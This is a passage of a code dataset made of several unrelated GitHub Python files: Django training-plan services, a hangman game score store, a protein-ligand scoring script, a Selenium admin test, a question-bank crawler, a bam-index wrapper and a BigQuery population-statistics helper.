away_date=away_start_date,\n interval_code=away_interval.interval_code,\n )\n user_away_list.append(user_away)\n away_start_date = away_start_date + timedelta(days=1)\n UserAway.objects.bulk_create(user_away_list)\n\n def handle_overlapping_intervals(self):\n overlapping_away_days = UserAway.objects.filter(\n user_auth=self.user,\n is_active=True,\n away_date__gte=self.start_date,\n away_date__lte=self.end_date,\n )\n overlapping_interval_codes = []\n for overlapping_away_day in overlapping_away_days:\n overlapping_away_day.is_active = False\n if overlapping_away_day.interval_code not in overlapping_interval_codes:\n overlapping_interval_codes.append(overlapping_away_day.interval_code)\n overlapping_away_day.save()\n\n all_overlapping_intervals = UserAwayInterval.objects.filter(\n is_active=True, interval_code__in=overlapping_interval_codes\n )\n for overlapping_interval in all_overlapping_intervals:\n if (\n self.start_date <= overlapping_interval.start_date\n and self.end_date >= overlapping_interval.end_date\n ):\n overlapping_interval.is_active = False\n elif (\n self.start_date <= overlapping_interval.start_date\n and self.end_date < overlapping_interval.end_date\n ):\n overlapping_interval.is_active = False\n start_date = self.end_date + timedelta(days=1)\n self.create_away_interval(\n overlapping_interval, start_date, overlapping_interval.end_date\n )\n elif (\n self.start_date > overlapping_interval.start_date\n and self.end_date >= overlapping_interval.end_date\n ):\n overlapping_interval.is_active = False\n end_date = self.start_date - timedelta(days=1)\n self.create_away_interval(\n overlapping_interval, overlapping_interval.start_date, end_date\n )\n elif (\n self.start_date > overlapping_interval.start_date\n and self.end_date < overlapping_interval.end_date\n ):\n overlapping_interval.is_active = False\n end_date = self.start_date - timedelta(days=1)\n self.create_away_interval(\n overlapping_interval, overlapping_interval.start_date, end_date\n )\n start_date = self.end_date + timedelta(days=1)\n away_interval = UserAwayInterval.objects.create(\n reason=overlapping_interval.reason,\n interval_code=uuid.uuid4(),\n start_date=start_date,\n end_date=overlapping_interval.end_date,\n )\n split_away_days = UserAway.objects.filter(\n user_auth=self.user,\n is_active=True,\n away_date__range=(start_date, overlapping_interval.end_date),\n )\n user_away_list = []\n for split_away_day in split_away_days:\n split_away_day.is_active = False\n split_away_day.save()\n user_away = UserAway(\n user_auth=self.user,\n user_id=self.user.code,\n away_date=split_away_day.away_date,\n interval_code=away_interval.interval_code,\n )\n user_away_list.append(user_away)\n UserAway.objects.bulk_create(user_away_list)\n overlapping_interval.save()\n\n def create_away_interval(self, overlapping_interval, start_date, end_date):\n away_interval = UserAwayInterval.objects.create(\n reason=overlapping_interval.reason,\n interval_code=overlapping_interval.interval_code,\n start_date=start_date,\n end_date=end_date,\n )\n return away_interval\n\n def is_valid_input(self):\n if not isinstance(self.user, UserAuthModel):\n return False, \"No user found\"\n\n if self.start_date > self.end_date:\n return False, \"Start date may not be greater than end date\"\n\n today = datetime.today().date()\n if self.start_date < today or self.end_date < today:\n return False, \"You may not be away for past dates\"\n\n user_active_plan = self.user.user_plans.filter(is_active=True).last()\n if not user_active_plan:\n return False, \"You dont have any active plan\"\n\n if (\n self.start_date > user_active_plan.end_date\n or self.end_date < user_active_plan.start_date\n ):\n return False, \"Start date and end date should be within current plan\"\n\n return True, \"\"\n\n\nclass UserAwayDeleteService:\n success_message = \"User away has been deleted successfully\"\n failure_message = \"Could not delete user away. Error: \"\n\n def __init__(self, user):\n self.user = user\n\n def delete(self, user_away_id):\n try:\n user_away = UserAway.objects.get(id=user_away_id)\n user_away.is_active = False\n user_away.save()\n except Exception as e:\n return False, self.failure_message + str(e)\n else:\n return True, self.success_message\n\n def delete_all(self, user_away_id):\n try:\n user_away = UserAway.objects.get(id=user_away_id)\n away_interval = UserAwayInterval.objects.filter(\n interval_code=user_away.interval_code, is_active=True\n ).last()\n user_away_objects = UserAway.objects.filter(\n user_auth=self.user,\n away_date__range=(away_interval.start_date, away_interval.end_date),\n )\n update_is_active_value(user_away_objects, False)\n\n except Exception as e:\n return False, self.failure_message + str(e)\n else:\n return True, self.success_message\n\n\nclass SessionPairingService:\n @classmethod\n def pair_completed_session_with_planned_session(cls, actual_id, user):\n \"\"\"Pairs the provided completed session with the planned session of that day and returns the new session\n metadata\"\"\"\n actual_session = get_actual_session(user, actual_id)\n planned_session = (\n PlannedSession.objects.filter(\n session_date_time__date=actual_session.session_date_time.date(),\n user_auth=user,\n is_active=True,\n )\n .select_related(\"session\")\n .last()\n )\n session_code = planned_session.session_code\n\n if ActualSession.objects.filter(\n session_code=session_code, is_active=True, third_party__isnull=False\n ).exists():\n logger.error(f\"Planned session id: {planned_session.id} is already paired.\")\n return None\n else:\n is_event_session, planned_session_name = cls.pair_actual_session(\n planned_session, actual_session, session_code, user\n )\n\n actual_today = set_actual_day_data(actual_session=actual_session)\n if actual_today:\n \"\"\"\n If it's a completely new actual day, then there will be no created_at and updated_at\n and we should not make is_active=false and insert new row. we will just save a new actual day instance\n \"\"\"\n if actual_today.created_at:\n actual_today = create_new_model_instance(actual_today)\n actual_today.reason = \"Pairing session\"\n actual_today.save()\n\n current_date = actual_session.session_date_time.date()\n if current_date != user.user_local_date:\n date_from = current_date + timedelta(days=1)\n user_plan = actual_session.user_plan\n if user_plan:\n ReevaluationService.reevaluate_session_data_of_single_plan(\n user, user_plan, date_from\n )\n\n actual_session_name = get_session_name(\n actual_session,\n None,\n actual_session.session_date_time,\n activity_type=actual_session.activity_type,\n )\n pairing_successful_message = (\n SessionPairingMessage.get_pairing_successful_message(\n actual_session_name, planned_session_name, is_event_session\n )\n )\n\n logger.info(\n f\"Actual session {actual_id} is paired with planned session {planned_session.id} \"\n f\"by user id: {user.id}\"\n )\n\n return {\n \"actual_id\": actual_session.pk,\n \"planned_id\": planned_session.id,\n \"activity_type\": actual_session.activity_type,\n \"session_status\": SessionStatusEnum.PAIRED,\n \"pairing_successful_message\": pairing_successful_message,\n }\n\n @classmethod\n def unpair_evaluated_session_from_planned_session(cls, actual_id, user):\n \"\"\"Unpairs the provided evaluated session from that day's planned session\n and returns the new session metadata\"\"\"\n\n actual_session = get_actual_session(user, actual_id)\n session_score = actual_session.session_score\n if not (actual_session or session_score):\n logger.error(\n f\"No actual session or session score was found. Actual session id: {actual_id}\"\n )\n return None\n cls.unpair_actual_session(actual_session)\n\n current_date = actual_session.session_date_time.date()\n if current_date != user.user_local_date:\n date_from = current_date\n user_plan = actual_session.user_plan\n if user_plan:\n ReevaluationService.reevaluate_session_data_of_single_plan(\n user, user_plan, date_from\n )\n\n logger.info(\n f\"Actual session {actual_id} is unpaired from planned session. User id: {user.id}\"\n )\n\n return {\n \"actual_id\": actual_session.pk,\n \"planned_id\": None,\n \"activity_type\": actual_session.activity_type,\n \"session_status\": SessionStatusEnum.UNPAIRED,\n }\n\n @staticmethod\n def pair_actual_session(planned_session, actual_session, session_code, user):\n logger.info(\"pair_actual_session function is called\")\n user_plan = actual_session.user_plan\n event_date = user_plan.end_date if user_plan.user_event else None\n if not actual_session or (\n planned_session.is_recovery_session()\n and event_date != actual_session.session_date_time.date()\n ):\n return None\n\n day_yesterday, _ = get_actual_day_yesterday(\n user, actual_session.session_date_time.date()\n )\n actual_session = create_new_model_instance(actual_session)\n actual_session.session_code = session_code\n actual_session.show_pairing_message = False\n if event_date == actual_session.session_date_time.date():\n actual_session.session_label = SessionLabelTypeEnum.EVENT\n is_event_session = True\n planned_session_name = user_plan.user_event.name\n else:\n if actual_session.athlete_activity_code:\n SessionIntervalService(\n user, actual_session, planned_session\n ).set_actual_intervals()\n set_session_scores(\n actual_session,\n planned_session,\n day_yesterday.sqs_today,\n day_yesterday.sas_today,\n )\n is_event_session = False\n planned_session_name = planned_session.name\n\n actual_session.reason = \"Pairing session\"\n actual_session.save()\n logger.info(\"pair_actual_session function ended\")\n\n ZoneDifficultyLevelService.update_zone_difficulty_level(user, planned_session)\n\n return is_event_session, planned_session_name\n\n @staticmethod\n def unpair_actual_session(actual_session):\n logger.info(\"unpair_actual_session function is called\")\n\n event_date = actual_session.user_plan.end_date\n actual_session = create_new_model_instance(actual_session)\n actual_session.session_score = None\n actual_session.session_code = None\n actual_session.actual_intervals = None\n if event_date == actual_session.session_date_time.date():\n actual_session.session_label = SessionLabelTypeEnum.TRAINING_SESSION\n\n actual_session.reason = \"Unpairing session\"\n actual_session.save()\n logger.info(\"unpair_actual_session function ended\")\n\n\nclass SessionIntervalService:\n def __init__(self, user_auth, actual_session, planned_session=None):\n self.user_auth = user_auth\n self.actual_session = actual_session\n self.planned_session = (\n planned_session\n or PlannedSession.objects.filter(\n session_code=self.actual_session.session_code, is_active=True\n ).last()\n )\n self.athlete_activity = dakghor_get_athlete_activity(\n self.actual_session.athlete_activity_code\n ).json()[\"data\"][\"athlete_activity\"]\n\n self.user_ftp = get_user_ftp(\n self.user_auth, self.actual_session.session_date_time\n )\n self.user_fthr = get_user_fthr(\n self.user_auth, self.actual_session.session_date_time\n )\n self.user_max_heart_heart = get_user_max_heart_rate(\n self.user_auth, self.actual_session.session_date_time\n )\n\n def set_actual_intervals(self):\n planned_interval_data = get_planned_session_interval_data(\n self.planned_session,\n self.user_ftp,\n self.user_fthr,\n self.user_max_heart_heart,\n )\n actual_interval_data = get_actual_session_interval_data(\n planned_interval_data, self.athlete_activity\n )\n if actual_interval_data:\n self.actual_session.actual_intervals = actual_interval_data\n return self.actual_session\n\n\nclass SetsAndRepsService:\n def __init__(self, user, session_code, pad_time_in_seconds):\n self.session_dict = deepcopy(sets_and_reps_dict[session_code])\n self.pad_time = round(pad_time_in_seconds / 60)\n self.session_dict_length = len(self.session_dict)\n self.user_personalise_data = user.personalise_data.filter(is_active=True).last()\n self.user_ftp = self.user_personalise_data.current_ftp\n self.user_fthr = self.user_personalise_data.current_fthr\n self.user_max_heart_rate = self.user_personalise_data.max_heart_rate\n if not self.user_max_heart_rate:\n self.user_max_heart_rate = get_max_heart_rate_from_age(\n self.user_personalise_data.date_of_birth\n )\n\n # TODO: Need to refactor below methods, specially to increase readability\n def get_session_sets_and_reps(self):\n for set_index in range(self.session_dict_length):\n current_set = self.session_dict[set_index]\n set_values_length = len(current_set[\"values\"])\n\n for value_index in range(set_values_length):\n value = current_set[\"values\"][value_index]\n steps_length = len(value[\"steps\"])\n step_index = 0\n\n while step_index < steps_length:\n # If current step is a padding interval and pad_time == 0,\n # then remove this pad interval step from session dict.\n # If pad_time > 0, replace \"{pad_time}\" substring in the step string\n # with the pad_time of current planned session\n if \"pad_time\" in value[\"steps\"][step_index]:\n if not self.pad_time:\n value[\"steps\"].pop(step_index)\n value[\"threshold_values\"].pop(step_index)\n # We have deleted one element from steps list\n # So we need to decrease steps_length by 1\n steps_length -= 1\n continue\n value[\"steps\"][step_index] = value[\"steps\"][step_index].replace(\n \"pad_time\", str(self.pad_time)\n )\n\n step_count = value[\"step_count\"][step_index]\n threshold_values = value[\"threshold_values\"]\n boundaries = self.get_sets_and_reps_step_boundary(\n step_count, threshold_values, step_index\n )\n calculated_step = value[\"steps\"][step_index].format(*boundaries)\n self.session_dict[set_index][\"values\"][value_index][\"steps\"][\n step_index\n ] = calculated_step\n\n step_index += 1\n\n return self.session_dict\n\n def get_sets_and_reps_step_boundary(self, step_count, threshold_values, step_index):\n upper_boundaries = []\n lower_boundaries = []\n unit = \"\"\n\n for count in range(step_count):\n index = step_index + count\n if self.user_ftp:\n if isinstance(threshold_values[index][\"ftp_lower\"], str):\n lower_power_boundary = threshold_values[index][\"ftp_lower\"]\n upper_power_boundary = threshold_values[index][\"ftp_upper\"]\n else:\n lower_power_boundary = RoundServices.round_power(\n self.user_ftp * (threshold_values[index][\"ftp_lower\"] / 100)\n )\n upper_power_boundary = RoundServices.round_power(\n self.user_ftp * (threshold_values[index][\"ftp_upper\"] / 100)\n )\n lower_boundaries.append(lower_power_boundary)\n upper_boundaries.append(upper_power_boundary)\n unit = \"w\"\n\n elif self.user_fthr:\n if isinstance(threshold_values[index][\"fthr_lower\"], str):\n lower_hr_boundary = threshold_values[index][\"fthr_lower\"]\n upper_hr_boundary = threshold_values[index][\"fthr_upper\"]\n else:\n lower_hr_boundary = RoundServices.round_heart_rate(\n self.user_fthr * (threshold_values[index][\"fthr_lower\"] / 100)\n )\n upper_hr_boundary = RoundServices.round_heart_rate(\n self.user_fthr * (threshold_values[index][\"fthr_upper\"] / 100)\n )\n lower_boundaries.append(lower_hr_boundary)\n upper_boundaries.append(upper_hr_boundary)\n unit = \"bpm\"\n\n elif self.user_max_heart_rate:\n if isinstance(threshold_values[index][\"mhr_lower\"], str):\n lower_hr_boundary = threshold_values[index][\"mhr_lower\"]\n upper_hr_boundary = threshold_values[index][\"mhr_upper\"]\n else:\n lower_hr_boundary = RoundServices.round_heart_rate(\n self.user_max_heart_rate\n * (threshold_values[index][\"mhr_lower\"] / 100)\n )\n upper_hr_boundary = RoundServices.round_heart_rate(\n self.user_max_heart_rate\n * (threshold_values[index][\"mhr_upper\"] / 100)\n )\n lower_boundaries.append(lower_hr_boundary)\n upper_boundaries.append(upper_hr_boundary)\n unit = \"bpm\"\n\n boundary_list = []\n lower_boundary_length = len(lower_boundaries)\n for index in range(lower_boundary_length):\n lower_boundary = lower_boundaries[index]\n upper_boundary = upper_boundaries[index]\n\n if lower_boundary == upper_boundary:\n if isinstance(lower_boundary, str):\n boundary_list.append(str(lower_boundary))\n continue\n boundary_list.append(str(lower_boundary) + \" \" + unit)\n else:\n boundary_string = (\n str(lower_boundary) + \"-\" + str(upper_boundary) + \" \" + unit\n )\n boundary_list.append(boundary_string)\n boundaries = tuple(\n boundary_list\n ) # Can not format string with list, we need tuple for that\n\n return boundaries\n","repo_name":"yass-arafat/code-samples","sub_path":"core/apps/session/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":34220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"71635984450","text":"import pickle\nimport random\n\nfrom chap2_tp.done import FILE_NAME\nfrom chap2_tp.done import LIST_MOT\nimport os.path\n\n# function nead for file manage\n# return the score of given name\n\ndef get_score(name):\n scores_dict = dict()\n if os.path.exists(FILE_NAME):\n with open(FILE_NAME, 'rb') as fichier:\n mon_deckle = pickle.Unpickler(fichier)\n try:\n scores_dict = mon_deckle.load()\n except:\n pass\n return scores_dict.get(name, 0)\n else:\n f = open(FILE_NAME, \"wb\")\n f.close()\n return 0\n\n\ndef set_score(name, score=0):\n scores_dict = dict()\n old_score = get_score(name)\n if old_score <= score or old_score == 0:\n with open(FILE_NAME, 'rb') as f:\n mon_deckle = pickle.Unpickler(f)\n try:\n scores_dict = mon_deckle.load()\n except:\n pass\n scores_dict[name] = score\n with open(FILE_NAME, 'wb') as f:\n mon_pickler = pickle.Pickler(f)\n mon_pickler.dump(scores_dict)\n\n\ndef clean_score():\n scores_dict = dict()\n with open(FILE_NAME, 'wb') as f:\n mon_pickler = pickle.Pickler(f)\n mon_pickler.dump(scores_dict)\n\n\n# function of game\n\n\ndef get_world():\n return random.choice(LIST_MOT)\n\n\ndef play_letter(word, letter):\n res = [\"*\"] * len(word)\n for l in letter:\n positions = [pos for pos, char in enumerate(word) if char == l]\n for p in positions:\n res[p] = l\n return \"\".join(res)\n\n\ndef play_intro():\n print(\"*******hello and welcome to pendu game *********\")\n name = input(\"pleas enter your name \")\n return name\n","repo_name":"amislem/ocrPython","sub_path":"chap2_tp/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"27962518752","text":"#!usr/bin/env python\n# -*- coding:utf-8 -*-\n# author = zhang xujun\n# time = 2020-07-09\n\nimport sys\nfrom NNScore2module import PDB, binana, command_line_parameters\n\n# 蛋白\nprotein = sys.argv[1]\n# 小分子\nligand = sys.argv[2]\n# 日志文件\nlog_file = sys.argv[3]\n# 指令\ncmd = \"/home/xujun/Soft/SCORE_Function/NNscore/NNScore2module.py -receptor {0} -ligand {1}\".format(protein, ligand)\n# 初始化空列表\nresult = []\n# 执行\ntry:\n params_list = cmd.split()\n cmd_params = command_line_parameters(params_list)\n receptor = PDB()\n receptor.LoadPDB_from_file(protein)\n receptor.OrigFileName = protein\n d = binana(ligand, receptor, cmd_params, \"\", \"\", \"\")\n result = d.vina_output + d.ligand_receptor_atom_type_pairs_less_than_two_half.values() + d.ligand_receptor_atom_type_pairs_less_than_four.values() \\\n + d.ligand_atom_types.values() + d.ligand_receptor_atom_type_pairs_electrostatic.values() + d.rotateable_bonds_count.values() \\\n + d.active_site_flexibility.values() + d.hbonds.values() + d.hydrophobics.values() + d.stacking.values() + d.pi_cation.values() \\\n + d.t_shaped.values() + d.salt_bridges.values()\nfinally:\n # 写TXT文件\n with open(log_file, 'w')as f:\n f.write(str(result))\n","repo_name":"schrojunzhang/ML-PLIC-Local","sub_path":"base_scripts/help_scripts/cal_nn.py","file_name":"cal_nn.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"28286989150","text":"import pytest\r\nimport time\r\nimport sys\r\nfrom os.path import dirname, abspath\r\nsys.path.insert(0, dirname(dirname(abspath(__file__))))\r\nfrom page_obj.scg.scg_def_sys import *\r\nfrom page_obj.scg.scg_def import *\r\nfrom page_obj.scg.scg_button import *\r\nfrom page_obj.scg.scg_def_log import *\r\nfrom page_obj.common.rail import *\r\nfrom page_obj.scg.scg_dev import *\r\nfrom page_obj.scg.scg_def_ifname_OEM import *\r\ntest_id = 139425\r\ndef test_c139425(browser):\r\n\ttry:\r\n\t\t# 登录函数\r\n\t\tlogin_web(browser, url=dev1)\r\n\t\t# 添加admin profile\r\n\t\tadd_admin_profile(browser, profile_name=\"aaa\", desc=\"aaa权限\", cfg=\"读写\", report=\"读写\")\r\n\t\t# 添加读写管理员\r\n\t\tadd_admin(browser, admin_name=\"zxcvbnmasdfghjklqwertyuiopzxcvb\", temp=\"aaa\")\r\n\r\n\t\tlogin_web(browser, url=dev1, username=\"zxcvbnmasdfghjklqwertyuiopzxcvb\")\r\n\t\t# # 点击报表\r\n\t\t# browser.find_element_by_xpath(报表).click()\r\n\t\tinto_fun(browser, 报表设置)\r\n\t\tweb_info1 = (browser.find_element_by_xpath('//*[@id=\"for_config_tb_title\"]/ul/li').text.rstrip())\r\n\r\n\t\tlogin_web(browser, url=dev1)\r\n\t\t# print(loginfo)\r\n\t\tdelete_all_admin_list_jyl(browser)\r\n\t\ttime.sleep(1)\r\n\t\tdelete_all_admin_profile_jyl(browser)\r\n\t\ttry:\r\n\t\t\tassert \"报表\" in web_info1\r\n\t\t\trail_pass(test_run_id, test_id)\r\n\r\n\t\texcept:\r\n\t\t\trail_fail(test_run_id, test_id)\r\n\t\t\tassert \"报表\" in web_info1\r\n\texcept Exception as err:\r\n\t\t# 如果上面的步骤有报错，重新设备，恢复配置\r\n\t\tprint(err)\r\n\t\treload(hostip=dev1)\r\n\t\trail_fail(test_run_id, test_id)\r\n\t\tassert False\r\n\r\n\r\nif __name__ == '__main__':\r\n\tpytest.main([\"-v\", \"-s\", \"test_c\" + str(test_id) + \".py\"])\r\n\r\n\r\n\r\n","repo_name":"lizhuoya1111/Automated_testing_practice","sub_path":"pyautoTest-master（ICF-7.5.0）/test_case/scg/scg_Administrator/test_c139425.py","file_name":"test_c139425.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"22640447900","text":"import re\r\nimport time\r\nfrom urllib import request\r\n\r\n\r\nclass Spider:\r\n # 根据不同的题库,URL要改一下\r\n url = \"http://210.44.14.75/redir.php?catalog_id=6&cmd=learning&tikubh=30171&page=\"\r\n # url = \"http://210.44.14.75/redir.php?catalog_id=6&cmd=learning&tikubh=17825&page=\"\r\n root_pattern = r'
[\\s\\S]*?
'\r\n Q_A_pattern = r'

[\\s\\S]*?）'\r\n mod_pattern = r'xuanxiang_panduan' # 用于判断题型\r\n question_pattern = r'

([\\s\\S]*)?

' # 题干\r\n chosen_pattern = r'>([A-D].[\\s\\S]*?)[(\\r)()]' # 选项\r\n answer_pattern = r'标准答案：([\\s\\S]*)）' # 判断题\r\n answer_pattern_2 = r'(标准答案：[\\s\\S]*)\\r\\n' # 选择题\r\n page_num = 223 # 信工的题库共223页,根据需要更改\r\n\r\n # 匹配所有字符的正则表达式,*表示匹配中间字符,?表示非贪婪模式,只匹配到第一个/div为止\r\n\r\n def __fetch_content(self, url):\r\n # 模仿HTTP请求\r\n r = request.urlopen(url)\r\n htmls = r.read() # 此时html编码是字节码\r\n htmls = str(htmls, encoding='utf-8') # 使用str-encoding将html转为GB2312编码的字符串\r\n return htmls\r\n\r\n # 分析文本\r\n def __analysis(self, htmls):\r\n root_html = re.findall(self.root_pattern, htmls)\r\n Q_A_list = []\r\n for text in root_html:\r\n # 提取出问题题干以及选项还有答案\r\n Q_A_text = re.findall(self.Q_A_pattern, text)\r\n # print(Q_A_text)\r\n for x in Q_A_text:\r\n question_text = re.findall(self.question_pattern, x)\r\n question_text = str(question_text)[8:-2]\r\n Q_A_list.append(question_text)\r\n if re.search(self.mod_pattern, x) != None:\r\n # 如果是判断题,直接跳过选项保留答案\r\n answer_text = re.findall(self.answer_pattern, x)\r\n answer_text = str(answer_text).replace(' ', '')\r\n Q_A_list.append(answer_text)\r\n continue\r\n else:\r\n # 如果是选择题,依次将选项和答案保留\r\n chosen_text = re.findall(self.chosen_pattern, x)\r\n Q_A_list.append(chosen_text)\r\n answer_text = re.findall(self.answer_pattern_2, x)\r\n answer_text = str(answer_text).replace(' ', '')\r\n Q_A_list.append(answer_text)\r\n return Q_A_list\r\n\r\n # 输出\r\n def __OutPutToText(self, Q_A_text):\r\n f = open(\"Question.txt\", 'a')\r\n for x in Q_A_text:\r\n text = str(x)\r\n f.write(text + '\\n')\r\n f.close()\r\n\r\n # 入口以及总控方法\r\n def main(self):\r\n print('Please wait a minute')\r\n start = time.perf_counter()\r\n for i in range(1, self.page_num):\r\n page_num = str(i)\r\n url = self.url + page_num\r\n htmls = self.__fetch_content(url)\r\n Q_A_list = self.__analysis(htmls)\r\n self.__OutPutToText(Q_A_list)\r\n end = time.perf_counter()\r\n print('Success')\r\n print('Run time : ' + str(end - start) + \"s\")\r\n\r\n\r\nif __name__ == '__main__':\r\n s = Spider()\r\n s.main()\r\n","repo_name":"VitoLin21/SDNULabCrawler","sub_path":"spyider.py","file_name":"spyider.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"9224462949","text":"#coding=utf-8\nimport time\nclass GUN:\n def __init__(self,name,bulletNum):\n self.name = name\n self.bulletNum = bulletNum\n def biubiu(self):\n if self.bulletNum > 0 :\n self.bulletNum -=1\n print(\"%s还剩%s发子弹\"%(self.name,self.bulletNum))\n else:\n print(\"%s没子弹了\"%self.name)\n def __del__(self):\n print()\n\nAK47 = GUN(\"AK47\",5)\nJIATELIN = GUN(\"加特林\",10)\n\nwhile True:\n AK47.biubiu()\n JIATELIN.biubiu()\n time.sleep(1)\n","repo_name":"wangjufeng1002/PythonTest","sub_path":"py/ju/demo06/demo02_gun.py","file_name":"demo02_gun.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"43"} +{"seq_id":"33027043614","text":"#!/usr/bin/env python\n# coding:utf-8\n__author__ = 'yangrui'\n\nimport sys\nimport os\ncwd = os.path.dirname(os.path.abspath(__file__))\nsys.path.insert(0, os.path.join(cwd,'../'))\n\ntry:\n from config import sambamba\nexcept:\n sambamba = 'sambamba'\nfrom jbiot import log\nfrom jbiot import jbiotWorker\n\n\ndef indexs(parms):\n '''index bam\n \n Args:\n parms (dict) : which has the following keys::\n \n {\n bam: bam file\n }\n\n Returns: null\n '''\n bam = parms['bam']\n cmd = \"%s index %s\" % (sambamba,bam)\n log.run('bam index', cmd)\n\n\nclass IndxWorker(jbiotWorker):\n def handle_task(self, key, params):\n self.execMyfunc(indexs, params)\n","repo_name":"yangrui123/mapping_report","sub_path":"mapping/bamProcess/indexs.py","file_name":"indexs.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"8174055526","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport io\nfrom google.cloud import bigquery\nfrom google.oauth2 import service_account\nimport logging\n\n# Enable logging\nlogging.basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.INFO\n)\nlogger = logging.getLogger(__name__)\n\n# Connected to BigQuery\ncredentials = service_account.Credentials.from_service_account_file(\n \"./google-credentials.json\"\n)\nproject_id = \"testsemplio\"\nclient = bigquery.Client(credentials=credentials, project=project_id)\n\n# Find the ward_code for the postcode from user input\ndef find_ward_code(your_postcode):\n query = \"\"\"\n SELECT osward\n FROM `testsemplio.population.post`\n WHERE pcd = @pcd \"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"pcd\", \"STRING\", your_postcode),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n find_ward_cod = query_job.result().to_dataframe().to_dict(\"records\")\n if len(find_ward_cod) > 0:\n your_code = find_ward_cod[0][\"osward\"]\n return your_code\n else:\n return None\n\n\ndef predicted_population(your_code, your_year):\n query = \"\"\"\n SELECT value, name_x, borough\n FROM `testsemplio.population.pop`\n WHERE code = @code and year = @year \"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"code\", \"STRING\", your_code),\n bigquery.ScalarQueryParameter(\"year\", \"INTEGER\", your_year),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n predicted_population_dict = query_job.result().to_dataframe().to_dict(\"records\")\n if len(predicted_population_dict) > 0:\n your_borough = predicted_population_dict[\"borough\"]\n return predicted_population_dict, your_borough\n else:\n return None\n\n\ndef predicted_population_by_sex(your_code, your_year):\n # Find predicted male population for the user ward_code\n query = \"\"\"\n SELECT value\n FROM `testsemplio.population.male`\n WHERE code = @code and year = @year\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"code\", \"STRING\", your_code),\n bigquery.ScalarQueryParameter(\"year\", \"INTEGER\", your_year),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n male_dict = query_job.result().to_dataframe().to_dict(\"records\")[0]\n male_total = male_dict[\"value\"]\n\n # Find predicted female population for the user ward_code\n query = \"\"\"\n SELECT value\n FROM `testsemplio.population.female1`\n WHERE code = @code and year = @year\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"code\", \"STRING\", your_code),\n bigquery.ScalarQueryParameter(\"year\", \"INTEGER\", your_year),\n ]\n )\n\n query_job = client.query(query, job_config=job_config)\n fem_dict = query_job.result().to_dataframe().to_dict(\"records\")[0]\n female_total = fem_dict[\"value\"]\n\n return male_total, female_total\n\n\ndef predicted_population_by_age(your_code, your_year):\n query = \"\"\"\n SELECT age, sum(value) as value\n FROM `testsemplio.population.fin_age`\n where code = @code\n and year = @year\n group by age \"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"code\", \"STRING\", your_code),\n bigquery.ScalarQueryParameter(\"year\", \"INTEGER\", your_year),\n ]\n )\n query_job = client.query(query, job_config=job_config)\n result = query_job.result().to_dataframe()\n sum_of_ages = result[\"value\"].sum()\n print(sum_of_ages)\n child = round(\n 100\n * (result.loc[(result[\"age\"] >= 0) & (result[\"age\"] < 13), \"value\"].sum())\n / sum_of_ages,\n 2,\n )\n teens = round(\n 100\n * (result.loc[(result[\"age\"] >= 13) & (result[\"age\"] < 20), \"value\"].sum())\n / sum_of_ages,\n 2,\n )\n adults = round(\n 100\n * (result.loc[(result[\"age\"] >= 20) & (result[\"age\"] < 40), \"value\"].sum())\n / sum_of_ages,\n 2,\n )\n mid_age_adults = round(\n 100\n * (result.loc[(result[\"age\"] >= 40) & (result[\"age\"] < 60), \"value\"].sum())\n / sum_of_ages,\n 2,\n )\n seniors = round(\n 100 * (result.loc[result[\"age\"] >= 60, \"value\"].sum()) / sum_of_ages, 2\n )\n data = {\n \"children\": child,\n \"teens\": teens,\n \"adults\": adults,\n \"mid_age_adults\": mid_age_adults,\n \"seniors\": seniors,\n }\n predict_pop_by_age = pd.DataFrame(data=data, index=[0])\n\n return predict_pop_by_age\n\n\n# Creating of Population pyramid\ndef plot_for_population_pyramid(your_code, your_year, your_postcode, your_borough):\n query = \"\"\"\n SELECT male_table.age, male, female\n FROM (select age, sum(value) as male\n from `testsemplio.population.fin_age`\n where code = @code and year = @year and sex = 'male'\n group by age)\n as male_table\n join\n (SELECT age, female\n FROM (select age, sum(value) as female\n from `testsemplio.population.fin_age`\n where code = @code and year = @year and sex = 'female'\n group by age))\n as female_table\n on male_table.age = female_table.age\"\"\"\n\n job_config = bigquery.QueryJobConfig(\n query_parameters=[\n bigquery.ScalarQueryParameter(\"code\", \"STRING\", your_code),\n bigquery.ScalarQueryParameter(\"year\", \"INTEGER\", your_year),\n ]\n )\n df1 = client.query(query, job_config=job_config).to_dataframe()\n male_baby = df1.loc[df1[\"age\"] <= 10, \"male\"].sum()\n female_baby = df1.loc[df1[\"age\"] <= 10, \"female\"].sum()\n male_teen = df1.loc[(df1[\"age\"] >= 11) & (df1[\"age\"] <= 17), \"male\"].sum()\n female_teen = df1.loc[(df1[\"age\"] >= 11) & (df1[\"age\"] <= 17), \"female\"].sum()\n male_young = df1.loc[(df1[\"age\"] >= 18) & (df1[\"age\"] <= 26), \"male\"].sum()\n female_young = df1.loc[(df1[\"age\"] 